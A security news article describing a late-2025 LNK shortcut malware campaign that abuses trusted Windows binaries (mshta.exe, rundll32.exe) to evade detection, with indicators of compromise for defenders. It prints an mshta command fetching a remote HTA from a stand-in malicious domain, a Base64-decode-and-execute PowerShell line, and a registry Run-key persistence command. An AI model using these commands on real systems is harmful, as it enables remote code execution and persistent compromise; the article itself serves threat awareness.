New LNK Malware Uses Windows Binaries to Bypass Security Tools and Execute Malware

Recent findings indicate a surge in attacks utilizing malicious Windows shortcut files (.LNK), prompting heightened vigilance among security teams.

This newly identified LNK malware, which emerged in late August 2025, leverages trusted Microsoft binaries to bypass endpoint security measures, facilitating payload execution without detection.

The malware is primarily disseminated through spear-phishing emails and compromised websites, disguising its malicious activities by embedding commands that utilize legitimate Windows utilities to retrieve and execute additional malware components.

Initial reports from affected parties indicate subtle compromise indicators, such as unusual PowerShell invocations and unexpected network connections, which are often mistaken for normal system operations.

Research indicates that the campaign targets both enterprise and consumer endpoints, with a particular focus on users possessing elevated privileges. The lure emails imitate internal IT notifications or security alerts, persuading recipients to engage with a deceptive shortcut attachment.

Upon activation, the LNK file prompts Windows Explorer to initiate a concealed payload, effectively exploiting built-in binaries like mshta.exe and rundll32.exe to execute the attack.

This method allows threat actors to circumvent antivirus signatures and behavioral detection protocols that typically flag the direct execution of unknown files.

K7 Security Labs analysts have observed that attackers meticulously design the LNK payload to use encoded parameters with these native utilities, complicating analysis within sandbox environments.

By orchestrating multiple benign processes, the malware achieves "living off the land" execution, thereby minimizing its forensic footprint on both disk and memory.

Victim endpoint logs reveal rapid process spawning, with each process transferring execution to the subsequent stage in under a second, thus hindering detection efforts.

Infection Mechanism and Payload Deployment

The infection mechanism involves the malicious .LNK file embedding an OLE object that directs to a remote HTML application (HTA) script hosted on a compromised server.

Upon user interaction, Explorer executes mshta.exe with the following command line:

mshta.exe "http://malicious-domain.com/loader.hta"

The obfuscated loader script employs Base64-encoded PowerShell commands to download the next-stage payload:

$payload = 'aGVsbG8gd29ybGQ=' IEX ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)))

This code snippet decodes and runs a simple script from memory, demonstrating how the attacker minimizes disk writes.

Once executed, the HTA utilizes rundll32.exe to load a malicious DLL into a suspended svchost.exe process, thereby avoiding executable file scanning.

The DLL establishes persistence by creating a Win32 registry run key:

HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name "Updater" -Value "rundll32.exe C:\Windows\Temp\updater.dll,EntryPoint"

By exploiting registry-based persistence and trusted Windows binaries, the malware ensures automatic execution upon user login, even if endpoint detections attempt to isolate the DLL file.

Indicators of compromise include network requests to suspicious domains, anomalous mshta.exe and rundll32.exe process activities, and unrecognized registry entries under the CurrentVersion\Run key.

Based on reporting by Cyber Security News.